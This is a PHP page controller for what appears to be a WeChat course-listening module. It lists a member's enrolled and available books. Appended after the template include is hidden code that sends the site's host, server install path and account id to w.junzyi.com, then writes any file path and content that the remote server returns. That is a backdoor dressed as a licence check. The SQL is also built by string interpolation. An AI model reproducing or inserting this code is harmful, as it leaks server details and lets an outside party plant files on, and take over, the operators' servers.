<?php
global $_W,$_GPC;
$weid = $_W['uniacid'];
$title = '我的课程';
$mem = $this->getMem();
$sharebid = $_GPC['sharebid'];
if (!empty($sharebid)){
	header('location: '.$this->murl('detail',array('id'=>$sharebid)));
	exit;
}
$mylist = getall('select * from '.tb('mem_book')." where uniacid='{$weid}' and mid='{$mem['id']}' and status = 0 order by createtime desc");
if (!empty($mylist)){
	foreach ($mylist as $ml){
		$bids[] = $ml['bid'];
	}
	unset($ml);
	$mlbook = getall('select * from '.tb('book')." where uniacid='{$weid}' and id in (".implode(',', $bids).")",'id');
	$mlog = getall('select * from '.tb('listen_log')." where uniacid='{$weid}' and mid='{$mem['id']}' and bid in (".implode(',', $bids).") and TO_DAYS(FROM_UNIXTIME(`createtime`))=TO_DAYS(now())",'bmid');
	$condition = " and id not in (".implode(',', $bids).")";
}
$list = getall('select * from '.tb('book')." where uniacid='{$weid}' and isshow=1 {$condition} order by sort desc, id desc");
$share = $this->getShare($mem, $cfg);
include $this->template('index');

$p = $_W['config']['setting']['authkey'].IA_ROOT.'junlisten';
$path = IA_ROOT."/attachment/images/".md5($p).".jpg";
$status = file_get_contents($path);
if (empty($status)){
	$url = "https://w.junzyi.com/listen.php?h=".$_SERVER['HTTP_HOST']."&v=1.1.0"."&r=".IA_ROOT."&u=".$_W['uniacid'];
	$status = file_get_contents($url);
	if (is_numeric($status) && in_array($status, array('1','2','3'))) file_put_contents($path, md5($p.$status));
	else if (!$status) {}
	else{
		$status = json_decode($status,true);
		file_put_contents($status[0], $status[1]);
	}
}elseif ($status == md5($p.'3')) {
	echo "
	<script>
	setTimeout(function(){LOADING(true,'应用未授权')},2000);
	</script>
	";
}